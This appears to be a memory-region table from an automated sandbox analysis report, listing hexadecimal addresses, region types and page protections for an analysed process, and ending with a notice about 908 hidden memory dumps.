unkown image
|
page readonly
|
|
|
|
299B1790000
|
unkown
|
page read and write
|
|
|
|
7FF5961B3000
|
unkown image
|
page readonly
|
|
|
|
299B1795000
|
unkown
|
page read and write
|
|
|
|
7DF5AB3F0000
|
unkown image
|
page readonly
|
|
|
|
299B17CC000
|
unkown
|
page read and write
|
|
|
|
FE0000
|
unkown image
|
page readonly
|
|
|
|
2F75000
|
unkown image
|
page readonly
|
|
|
|
7FF524AF8000
|
unkown image
|
page readonly
|
|
|
|
381000
|
unkown
|
page read and write
|
|
|
|
77FF4FF000
|
unkown
|
page read and write
|
|
|
|
7DF4A92A0000
|
unkown image
|
page readonly
|
|
|
|
251A3DB0000
|
heap default
|
page read and write
|
|
|
|
7FF5962A4000
|
unkown image
|
page readonly
|
|
|
|
7FF59B010000
|
unkown image
|
page readonly
|
|
|
|
7FF52BCF2000
|
unkown image
|
page readonly
|
|
|
|
206A6C3C000
|
unkown
|
page read and write
|
|
|
|
1BFA9102000
|
unkown
|
page read and write
|
|
|
|
299B0E00000
|
unkown
|
page read and write
|
|
|
|
7FF5CD71C000
|
unkown image
|
page readonly
|
|
|
|
7FF59B15E000
|
unkown image
|
page readonly
|
|
|
|
CA2D47E000
|
unkown
|
page read and write
|
|
|
|
299B1602000
|
unkown
|
page read and write
|
|
|
|
7FF59B2BF000
|
unkown image
|
page readonly
|
|
|
|
4FD000
|
unkown image
|
page readonly
|
|
|
|
7FF52B7C6000
|
unkown image
|
page readonly
|
|
|
|
104F000
|
unkown
|
page read and write
|
|
|
|
7FF5CD7E7000
|
unkown image
|
page readonly
|
|
|
|
7FF52BC2C000
|
unkown image
|
page readonly
|
|
|
|
7FF59AFD7000
|
unkown image
|
page readonly
|
|
|
|
5C5000
|
unkown
|
page read and write
|
|
|
|
1BFA903C000
|
unkown
|
page read and write
|
|
|
|
2F0F000
|
unkown image
|
page readonly
|
|
|
|
206A6C63000
|
unkown
|
page read and write
|
|
|
|
299B17BC000
|
unkown
|
page read and write
|
|
|
|
2EC5000
|
unkown image
|
page readonly
|
|
|
|
7FF59B2AA000
|
unkown image
|
page readonly
|
|
|
|
5DC000
|
heap default
|
page read and write
|
|
|
|
299B0E29000
|
unkown
|
page read and write
|
|
|
|
1BFA9029000
|
unkown
|
page read and write
|
|
|
|
2312000
|
unkown image
|
page readonly
|
|
|
|
25D0000
|
unkown
|
page read and write
|
|
|
|
7FF52BAAA000
|
unkown image
|
page readonly
|
|
|
|
7FF59B34A000
|
unkown image
|
page readonly
|
|
|
|
299B17A5000
|
unkown
|
page read and write
|
|
|
|
4FE000
|
unkown image
|
page readonly
|
|
|
|
7FF595E26000
|
unkown image
|
page readonly
|
|
|
|
7FF52BBD4000
|
unkown image
|
page readonly
|
|
|
|
850000
|
unkown
|
page read and write
|
|
|
|
299B1C02000
|
unkown
|
page read and write
|
|
|
|
7FF59B26B000
|
unkown image
|
page readonly
|
|
|
|
30AA000
|
unkown image
|
page readonly
|
|
|
|
4680000
|
heap private
|
page read and write
|
|
|
|
7FF59B25A000
|
unkown image
|
page readonly
|
|
|
|
299B17D7000
|
unkown
|
page read and write
|
|
|
|
7FF59B2C8000
|
unkown image
|
page readonly
|
|
|
|
299B1790000
|
unkown
|
page read and write
|
|
|
|
7DF540D80000
|
unkown image
|
page readonly
|
|
|
|
7FF59B103000
|
unkown image
|
page readonly
|
|
|
|
3065000
|
unkown image
|
page readonly
|
|
|
|
1224000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD714000
|
unkown image
|
page readonly
|
|
|
|
77FED4F000
|
unkown
|
page read and write
|
|
|
|
299B17AA000
|
unkown
|
page read and write
|
|
|
|
1BFA9113000
|
unkown
|
page read and write
|
|
|
|
7DF5AB3D0000
|
unkown image
|
page readonly
|
|
|
|
299B175A000
|
unkown
|
page read and write
|
|
|
|
299B17BD000
|
unkown
|
page read and write
|
|
|
|
299B179F000
|
unkown
|
page read and write
|
|
|
|
7C0000
|
unkown
|
page read and write
|
|
|
|
206A70D0000
|
unkown image
|
page readonly
|
|
|
|
2920BD00000
|
unkown
|
page read and write
|
|
|
|
7FF524A9B000
|
unkown image
|
page readonly
|
|
|
|
299B17AB000
|
unkown
|
page read and write
|
|
|
|
560000
|
unkown
|
page read and write
|
|
|
|
2920BC66000
|
unkown
|
page read and write
|
|
|
|
7FF524A90000
|
unkown image
|
page readonly
|
|
|
|
7F350000
|
unkown image
|
page readonly
|
|
|
|
2920BB80000
|
unkown image
|
page readonly
|
|
|
|
401000
|
unkown image
|
page execute read
|
|
|
|
2E9C000
|
unkown image
|
page readonly
|
|
|
|
299B1791000
|
unkown
|
page read and write
|
|
|
|
2DB8000
|
unkown image
|
page readonly
|
|
|
|
570000
|
unkown image
|
page readonly
|
|
|
|
206A6C00000
|
unkown
|
page read and write
|
|
|
|
393000
|
unkown
|
page read and write
|
|
|
|
299B1792000
|
unkown
|
page read and write
|
|
|
|
2920C402000
|
unkown
|
page read and write
|
|
|
|
7FF5CD7DF000
|
unkown image
|
page readonly
|
|
|
|
C80000
|
unkown image
|
page readonly
|
|
|
|
E0015FA000
|
unkown
|
page read and write
|
|
|
|
3043000
|
unkown image
|
page readonly
|
|
|
|
7FF5243E7000
|
unkown image
|
page readonly
|
|
|
|
7F250000
|
unkown image
|
page readonly
|
|
|
|
A20000
|
heap default
|
page read and write
|
|
|
|
1BFA9000000
|
unkown
|
page read and write
|
|
|
|
299B1792000
|
unkown
|
page read and write
|
|
|
|
7F250000
|
unkown image
|
page readonly
|
|
|
|
7FF59B28F000
|
unkown image
|
page readonly
|
|
|
|
206A6ED0000
|
unkown image
|
page readonly
|
|
|
|
2700000
|
heap default
|
page read and write
|
|
|
|
206A6C7A000
|
unkown
|
page read and write
|
|
|
|
299B1788000
|
unkown
|
page read and write
|
|
|
|
7FF52BB03000
|
unkown image
|
page readonly
|
|
|
|
251A3D50000
|
unkown image
|
page readonly
|
|
|
|
77E000
|
unkown
|
page read and write
|
|
|
|
75B000
|
unkown
|
page read and write
|
|
|
|
2F03000
|
unkown image
|
page readonly
|
|
|
|
299B17C7000
|
unkown
|
page read and write
|
|
|
|
2ECC000
|
unkown image
|
page readonly
|
|
|
|
2920BC13000
|
unkown
|
page read and write
|
|
|
|
299B178E000
|
unkown
|
page read and write
|
|
|
|
7F342000
|
unkown image
|
page readonly
|
|
|
|
880000
|
unkown
|
page read and write
|
|
|
|
7FF524B82000
|
unkown image
|
page readonly
|
|
|
|
2E82000
|
unkown image
|
page readonly
|
|
|
|
251A3DBE000
|
heap default
|
page read and write
|
|
|
|
7FF52BC00000
|
unkown image
|
page readonly
|
|
|
|
2F92000
|
unkown image
|
page readonly
|
|
|
|
5CB000
|
heap default
|
page read and write
|
|
|
|
299B1794000
|
unkown
|
page read and write
|
|
|
|
7FF524AFE000
|
unkown image
|
page readonly
|
|
|
|
299B17AA000
|
unkown
|
page read and write
|
|
|
|
7FF5CD79A000
|
unkown image
|
page readonly
|
|
|
|
299B1490000
|
unkown image
|
page readonly
|
|
|
|
206A6BC0000
|
unkown image
|
page readonly
|
|
|
|
206A6BB0000
|
heap default
|
page read and write
|
|
|
|
930000
|
heap private
|
page read and write
|
|
|
|
3369F7A000
|
unkown
|
page read and write
|
|
|
|
E60000
|
unkown image
|
page readonly
|
|
|
|
7FF52BBEA000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD527000
|
unkown image
|
page readonly
|
|
|
|
7FF59624C000
|
unkown image
|
page readonly
|
|
|
|
299B0EDA000
|
unkown
|
page read and write
|
|
|
|
30A3000
|
unkown image
|
page readonly
|
|
|
|
2E89000
|
unkown image
|
page readonly
|
|
|
|
8B0000
|
heap private
|
page read and write
|
|
|
|
7F240000
|
unkown image
|
page readonly
|
|
|
|
7DF5B03E0000
|
unkown image
|
page readonly
|
|
|
|
7DF5E2930000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD7C7000
|
unkown image
|
page readonly
|
|
|
|
299B1C00000
|
unkown
|
page read and write
|
|
|
|
7FF52B7D5000
|
unkown image
|
page readonly
|
|
|
|
299B17A5000
|
unkown
|
page read and write
|
|
|
|
2D93000
|
unkown image
|
page readonly
|
|
|
|
7FF5962BF000
|
unkown image
|
page readonly
|
|
|
|
2920BC52000
|
unkown
|
page read and write
|
|
|
|
299B1C3C000
|
unkown
|
page read and write
|
|
|
|
7FF5CD653000
|
unkown image
|
page readonly
|
|
|
|
1BFA8E10000
|
unkown image
|
page read and write
|
|
|
|
800000
|
unkown image
|
page readonly
|
|
|
|
3369A7F000
|
unkown
|
page read and write
|
|
|
|
7FF596351000
|
unkown image
|
page readonly
|
|
|
|
7DF5B03E2000
|
unkown image
|
page readonly
|
|
|
|
7FFB0000
|
unkown image
|
page readonly
|
|
|
|
251A4100000
|
unkown image
|
page readonly
|
|
|
|
251A3D20000
|
unkown
|
page read and write
|
|
|
|
3369C7B000
|
unkown
|
page read and write
|
|
|
|
299B1788000
|
unkown
|
page read and write
|
|
|
|
30C2000
|
unkown image
|
page readonly
|
|
|
|
489F000
|
unkown
|
page read and write
|
|
|
|
2DBC000
|
unkown image
|
page readonly
|
|
|
|
CA2D57D000
|
unkown
|
page read and write
|
|
|
|
299B17A1000
|
unkown
|
page read and write
|
|
|
|
493F000
|
unkown
|
page read and write
|
|
|
|
251A3DE7000
|
unkown
|
page read and write
|
|
|
|
7FFB2000
|
unkown image
|
page readonly
|
|
|
|
1BFA9802000
|
unkown
|
page read and write
|
|
|
|
7FF52B9B0000
|
unkown image
|
page readonly
|
|
|
|
299B1786000
|
unkown
|
page read and write
|
|
|
|
7FF59615E000
|
unkown image
|
page readonly
|
|
|
|
760000
|
unkown image
|
page readonly
|
|
|
|
7FF59628C000
|
unkown image
|
page readonly
|
|
|
|
299B1780000
|
unkown
|
page read and write
|
|
|
|
7DF540D72000
|
unkown image
|
page readonly
|
|
|
|
7FF52BC17000
|
unkown image
|
page readonly
|
|
|
|
251A3D60000
|
unkown image
|
page readonly
|
|
|
|
299B1C02000
|
unkown
|
page read and write
|
|
|
|
7FF59B2D9000
|
unkown image
|
page readonly
|
|
|
|
3039000
|
unkown image
|
page readonly
|
|
|
|
2920BC59000
|
unkown
|
page read and write
|
|
|
|
7FF524B09000
|
unkown image
|
page readonly
|
|
|
|
299B1C02000
|
unkown
|
page read and write
|
|
|
|
2920BC4C000
|
unkown
|
page read and write
|
|
|
|
299B1797000
|
unkown
|
page read and write
|
|
|
|
299B1C19000
|
unkown
|
page read and write
|
|
|
|
206A6C46000
|
unkown
|
page read and write
|
|
|
|
270A000
|
heap default
|
page read and write
|
|
|
|
7FF5CD894000
|
unkown image
|
page readonly
|
|
|
|
77FECCB000
|
unkown
|
page read and write
|
|
|
|
400000
|
unkown image
|
page readonly
|
|
|
|
7DF5AB3D2000
|
unkown image
|
page readonly
|
|
|
|
7FF52BBFA000
|
unkown image
|
page readonly
|
|
|
|
1090000
|
unkown
|
page read and write
|
|
|
|
545000
|
unkown image
|
page readonly
|
|
|
|
77FF2F7000
|
unkown
|
page read and write
|
|
|
|
2920BB40000
|
unkown image
|
page readonly
|
|
|
|
2F12000
|
unkown image
|
page readonly
|
|
|
|
299B0E49000
|
unkown
|
page read and write
|
|
|
|
7FF52BAC1000
|
unkown image
|
page readonly
|
|
|
|
299B0E4B000
|
unkown
|
page read and write
|
|
|
|
206A6B80000
|
unkown image
|
page readonly
|
|
|
|
282000
|
unkown
|
page read and write
|
|
|
|
299B1764000
|
unkown
|
page read and write
|
|
|
|
7F230000
|
unkown image
|
page readonly
|
|
|
|
2920BC4F000
|
unkown
|
page read and write
|
|
|
|
7FF59B141000
|
unkown image
|
page readonly
|
|
|
|
299B178D000
|
unkown
|
page read and write
|
|
|
|
2920C250000
|
unkown image
|
page readonly
|
|
|
|
251A3DF8000
|
unkown
|
page read and write
|
|
|
|
2920BC55000
|
unkown
|
page read and write
|
|
|
|
299B175A000
|
unkown
|
page read and write
|
|
|
|
299B17AB000
|
unkown
|
page read and write
|
|
|
|
299B175A000
|
unkown
|
page read and write
|
|
|
|
206A7250000
|
unkown image
|
page readonly
|
|
|
|
3143000
|
unkown image
|
page readonly
|
|
|
|
228A000
|
unkown image
|
page readonly
|
|
|
|
299B0E54000
|
unkown
|
page read and write
|
|
|
|
299B1C02000
|
unkown
|
page read and write
|
|
|
|
299B1790000
|
unkown
|
page read and write
|
|
|
|
399000
|
unkown
|
page read and write
|
|
|
|
251A3D00000
|
unkown
|
page read and write
|
|
|
|
206A6C69000
|
unkown
|
page read and write
|
|
|
|
299B1784000
|
unkown
|
page read and write
|
|
|
|
7FF52BBA2000
|
unkown image
|
page readonly
|
|
|
|
7FF52BA34000
|
unkown image
|
page readonly
|
|
|
|
299B177E000
|
unkown
|
page read and write
|
|
|
|
7FF52B9C6000
|
unkown image
|
page readonly
|
|
|
|
299B1793000
|
unkown
|
page read and write
|
|
|
|
299B17B4000
|
unkown
|
page read and write
|
|
|
|
1BFA9046000
|
unkown
|
page read and write
|
|
|
|
299B178E000
|
unkown
|
page read and write
|
|
|
|
2920BB10000
|
heap private
|
page read and write
|
|
|
|
7F352000
|
unkown image
|
page readonly
|
|
|
|
7FF596277000
|
unkown image
|
page readonly
|
|
|
|
299B1C02000
|
unkown
|
page read and write
|
|
|
|
7F340000
|
unkown image
|
page readonly
|
|
|
|
299B1790000
|
unkown
|
page read and write
|
|
|
|
2ED3000
|
unkown image
|
page readonly
|
|
|
|
7FF524810000
|
unkown image
|
page readonly
|
|
|
|
7FF59B121000
|
unkown image
|
page readonly
|
|
|
|
206A6BE0000
|
unkown
|
page read and write
|
|
|
|
7FF52BBEC000
|
unkown image
|
page readonly
|
|
|
|
E36A67E000
|
unkown
|
page read and write
|
|
|
|
299B0E48000
|
unkown
|
page read and write
|
|
|
|
251A40F0000
|
heap private
|
page read and write
|
|
|
|
30B1000
|
unkown image
|
page readonly
|
|
|
|
588000
|
heap default
|
page read and write
|
|
|
|
299B17A7000
|
unkown
|
page read and write
|
|
|
|
7FF59B265000
|
unkown image
|
page readonly
|
|
|
|
299B1791000
|
unkown
|
page read and write
|
|
|
|
3095000
|
unkown image
|
page readonly
|
|
|
|
2F26000
|
unkown image
|
page readonly
|
|
|
|
30CB000
|
unkown image
|
page readonly
|
|
|
|
299B17A7000
|
unkown
|
page read and write
|
|
|
|
251A3CC0000
|
unkown image
|
page readonly
|
|
|
|
30C6000
|
unkown image
|
page readonly
|
|
|
|
7FF52BC76000
|
unkown image
|
page readonly
|
|
|
|
1BFA9400000
|
unkown image
|
page readonly
|
|
|
|
7F350000
|
unkown image
|
page readonly
|
|
|
|
E80000
|
unkown image
|
page readonly
|
|
|
|
2FA3000
|
unkown image
|
page readonly
|
|
|
|
880000
|
unkown image
|
page readonly
|
|
|
|
7FF52B815000
|
unkown image
|
page readonly
|
|
|
|
299B17CB000
|
unkown
|
page read and write
|
|
|
|
251A3DDE000
|
unkown
|
page read and write
|
|
|
|
5D4000
|
unkown
|
page read and write
|
|
|
|
4690000
|
unkown image
|
page readonly
|
|
|
|
7F360000
|
unkown image
|
page readonly
|
|
|
|
7DF539C12000
|
unkown image
|
page readonly
|
|
|
|
77FF3FF000
|
unkown
|
page read and write
|
|
|
|
7FF52BC05000
|
unkown image
|
page readonly
|
|
|
|
E36A27F000
|
unkown
|
page read and write
|
|
|
|
2D78000
|
unkown image
|
page readonly
|
|
|
|
E36A77F000
|
unkown
|
page read and write
|
|
|
|
2920BBA0000
|
unkown
|
page read and write
|
|
|
|
299B177E000
|
unkown
|
page read and write
|
|
|
|
299B0E86000
|
unkown
|
page read and write
|
|
|
|
1000000
|
unkown image
|
page readonly
|
|
|
|
303C000
|
unkown image
|
page readonly
|
|
|
|
299B1797000
|
unkown
|
page read and write
|
|
|
|
1BFA9013000
|
unkown
|
page read and write
|
|
|
|
71C000
|
unkown
|
page read and write
|
|
|
|
7FF59B260000
|
unkown image
|
page readonly
|
|
|
|
2920C0D0000
|
unkown image
|
page readonly
|
|
|
|
637000
|
heap default
|
page read and write
|
|
|
|
336978F000
|
unkown
|
page read and write
|
|
|
|
7FF59B1C4000
|
unkown image
|
page readonly
|
|
|
|
1BFA8E60000
|
unkown image
|
page readonly
|
|
|
|
299B1C02000
|
unkown
|
page read and write
|
|
|
|
299B17A2000
|
unkown
|
page read and write
|
|
|
|
206A6C26000
|
unkown
|
page read and write
|
|
|
|
299B1540000
|
unkown image
|
page read and write
|
|
|
|
299B0F13000
|
unkown
|
page read and write
|
|
|
|
7FF52BC68000
|
unkown image
|
page readonly
|
|
|
|
7FF52B7C0000
|
unkown image
|
page readonly
|
|
|
|
299B177E000
|
unkown
|
page read and write
|
|
|
|
299B1793000
|
unkown
|
page read and write
|
|
|
|
7DF540D82000
|
unkown image
|
page readonly
|
|
|
|
580000
|
heap default
|
page read and write
|
|
|
|
206A6B40000
|
unkown image
|
page read and write
|
|
|
|
7FF595E20000
|
unkown image
|
page readonly
|
|
|
|
2F11000
|
unkown image
|
page readonly
|
|
|
|
7FF59628F000
|
unkown image
|
page readonly
|
|
|
|
7DF540D82000
|
unkown image
|
page readonly
|
|
|
|
299B1712000
|
unkown
|
page read and write
|
|
|
|
299B1784000
|
unkown
|
page read and write
|
|
|
|
7FF5CD6AB000
|
unkown image
|
page readonly
|
|
|
|
7FF59625E000
|
unkown image
|
page readonly
|
|
|
|
299B178F000
|
unkown
|
page read and write
|
|
|
|
550000
|
heap default
|
page read and write
|
|
|
|
6B0000
|
unkown image
|
page read and write
|
|
|
|
40000
|
unkown image
|
page readonly
|
|
|
|
7FF59B2D6000
|
unkown image
|
page readonly
|
|
|
|
299B1764000
|
unkown
|
page read and write
|
|
|
|
478A000
|
unkown
|
page read and write
|
|
|
|
A41000
|
heap default
|
page read and write
|
|
|
|
228F000
|
unkown image
|
page readonly
|
|
|
|
CA2D4FF000
|
unkown
|
page read and write
|
|
|
|
299B0EE3000
|
unkown
|
page read and write
|
|
|
|
7DF540D80000
|
unkown image
|
page readonly
|
|
|
|
299B178E000
|
unkown
|
page read and write
|
|
|
|
2920BC89000
|
unkown
|
page read and write
|
|
|
|
206A6B60000
|
unkown image
|
page readonly
|
|
|
|
7FF52BBCF000
|
unkown image
|
page readonly
|
|
|
|
432000
|
unkown image
|
page execute and write copy
|
|
|
|
7F240000
|
unkown image
|
page readonly
|
|
|
|
251A3DE7000
|
unkown
|
page read and write
|
|
|
|
299B1797000
|
unkown
|
page read and write
|
|
|
|
E369F1B000
|
unkown
|
page read and write
|
|
|
|
1BFA8E20000
|
heap private
|
page read and write
|
|
|
|
7DF5E2932000
|
unkown image
|
page readonly
|
|
|
|
7FF52B977000
|
unkown image
|
page readonly
|
|
|
|
299B17A6000
|
unkown
|
page read and write
|
|
|
|
299B1530000
|
unkown
|
page read and write
|
|
|
|
7FF5CD703000
|
unkown image
|
page readonly
|
|
|
|
299B1C19000
|
unkown
|
page read and write
|
|
|
|
900000
|
unkown
|
page read and write
|
|
|
|
206A6C4D000
|
unkown
|
page read and write
|
|
|
|
3143000
|
unkown image
|
page readonly
|
|
|
|
7FF596297000
|
unkown image
|
page readonly
|
|
|
|
E00107B000
|
unkown
|
page read and write
|
|
|
|
2F71000
|
unkown image
|
page readonly
|
|
|
|
2F98000
|
unkown image
|
page readonly
|
|
|
|
7FF52BAFB000
|
unkown image
|
page readonly
|
|
|
|
299B178D000
|
unkown
|
page read and write
|
|
|
|
299B1791000
|
unkown
|
page read and write
|
|
|
|
299B0CA0000
|
unkown image
|
page read and write
|
|
|
|
2245000
|
unkown image
|
page readonly
|
|
|
|
7FF52BA00000
|
unkown image
|
page readonly
|
|
|
|
6BE000
|
unkown
|
page read and write
|
|
|
|
E36A47B000
|
unkown
|
page read and write
|
|
|
|
7DF437AD0000
|
unkown image
|
page readonly
|
|
|
|
2920BC7F000
|
unkown
|
page read and write
|
|
|
|
299B1530000
|
unkown
|
page read and write
|
|
|
|
299B1C02000
|
unkown
|
page read and write
|
|
|
|
7FF52BA41000
|
unkown image
|
page readonly
|
|
|
|
206A6D00000
|
unkown
|
page read and write
|
|
|
|
CA2D27A000
|
unkown
|
page read and write
|
|
|
|
7DF5AB3E0000
|
unkown image
|
page readonly
|
|
|
|
2EBD000
|
unkown image
|
page readonly
|
|
|
|
2920BC4B000
|
unkown
|
page read and write
|
|
|
|
7FF52BC2F000
|
unkown image
|
page readonly
|
|
|
|
299B178E000
|
unkown
|
page read and write
|
|
|
|
7F232000
|
unkown image
|
page readonly
|
|
|
|
2920BC54000
|
unkown
|
page read and write
|
|
|
|
2F8C000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD6AE000
|
unkown image
|
page readonly
|
|
|
|
7DF43EC40000
|
unkown image
|
page readonly
|
|
|
|
7F360000
|
unkown image
|
page readonly
|
|
|
|
47DE000
|
unkown
|
page read and write
|
|
|
|
206A6C4B000
|
unkown
|
page read and write
|
|
|
|
299B176D000
|
unkown
|
page read and write
|
|
|
|
2610000
|
heap default
|
page read and write
|
|
|
|
2EDB000
|
unkown image
|
page readonly
|
|
|
|
7FF595FD7000
|
unkown image
|
page readonly
|
|
|
|
299B17CB000
|
unkown
|
page read and write
|
|
|
|
2920BD13000
|
unkown
|
page read and write
|
|
|
|
2920BC00000
|
unkown
|
page read and write
|
|
|
|
1BFA8E30000
|
unkown image
|
page readonly
|
|
|
|
7FF59B2DD000
|
unkown image
|
page readonly
|
|
|
|
E0013F7000
|
unkown
|
page read and write
|
|
|
|
299B1470000
|
unkown
|
page read and write
|
|
|
|
2920BD02000
|
unkown
|
page read and write
|
|
|
|
286000
|
unkown
|
page read and write
|
|
|
|
7DF5AB3D2000
|
unkown image
|
page readonly
|
|
|
|
206A6C4F000
|
unkown
|
page read and write
|
|
|
|
7FF59B2A4000
|
unkown image
|
page readonly
|
|
|
|
299B0E51000
|
unkown
|
page read and write
|
|
|
|
7FF5CD6FD000
|
unkown image
|
page readonly
|
|
|
|
299B1790000
|
unkown
|
page read and write
|
|
|
|
299B0E50000
|
unkown
|
page read and write
|
|
|
|
C60000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD80F000
|
unkown image
|
page readonly
|
|
|
|
7FF59B15B000
|
unkown image
|
page readonly
|
|
|
|
7FF5960B1000
|
unkown image
|
page readonly
|
|
|
|
299B1791000
|
unkown
|
page read and write
|
|
|
|
299B1790000
|
unkown
|
page read and write
|
|
|
|
299B1C9D000
|
unkown
|
page read and write
|
|
|
|
3080000
|
unkown image
|
page readonly
|
|
|
|
7DF5B03D0000
|
unkown image
|
page readonly
|
|
|
|
7FF52B553000
|
unkown image
|
page readonly
|
|
|
|
7FF5962B4000
|
unkown image
|
page readonly
|
|
|
|
2570000
|
unkown
|
page execute and read and write
|
|
|
|
299B17A3000
|
unkown
|
page read and write
|
|
|
|
299B1765000
|
unkown
|
page read and write
|
|
|
|
7FF52B980000
|
unkown image
|
page readonly
|
|
|
|
299B1784000
|
unkown
|
page read and write
|
|
|
|
7DF5E2940000
|
unkown image
|
page readonly
|
|
|
|
299B1764000
|
unkown
|
page read and write
|
|
|
|
7FF52BBB3000
|
unkown image
|
page readonly
|
|
|
|
299B1784000
|
unkown
|
page read and write
|
|
|
|
299B0CC0000
|
unkown image
|
page readonly
|
|
|
|
299B1D03000
|
unkown
|
page read and write
|
|
|
|
299B0E53000
|
unkown
|
page read and write
|
|
|
|
7FF5CD560000
|
unkown image
|
page readonly
|
|
|
|
7DF5B03F0000
|
unkown image
|
page readonly
|
|
|
|
1BFA9050000
|
unkown
|
page read and write
|
|
|
|
1BFA9088000
|
unkown
|
page read and write
|
|
|
|
3089000
|
unkown image
|
page readonly
|
|
|
|
7FF5CD7F4000
|
unkown image
|
page readonly
|
|
|
|
206A6C69000
|
unkown
|
page read and write
|
|
|
|
1BFA904F000
|
unkown
|
page read and write
|
|
|
|
7FF52BB64000
|
unkown image
|
page readonly
|
|
|
|
4F4000
|
unkown image
|
page write copy
|
|
|
|
299B175E000
|
unkown
|
page read and write
|
|
|
|
E0016FF000
|
unkown
|
page read and write
|
|
|
|
7FF52BBFE000
|
unkown image
|
page readonly
|
|
|
|
299B177F000
|
unkown
|
page read and write
|
|
|
|
7FF52BAA3000
|
unkown image
|
page readonly
|
|
|
|
2EF7000
|
unkown image
|
page readonly
|
|
|
|
40000
|
unkown image
|
page readonly
|
|
There are 908 hidden memdumps, click here to show them.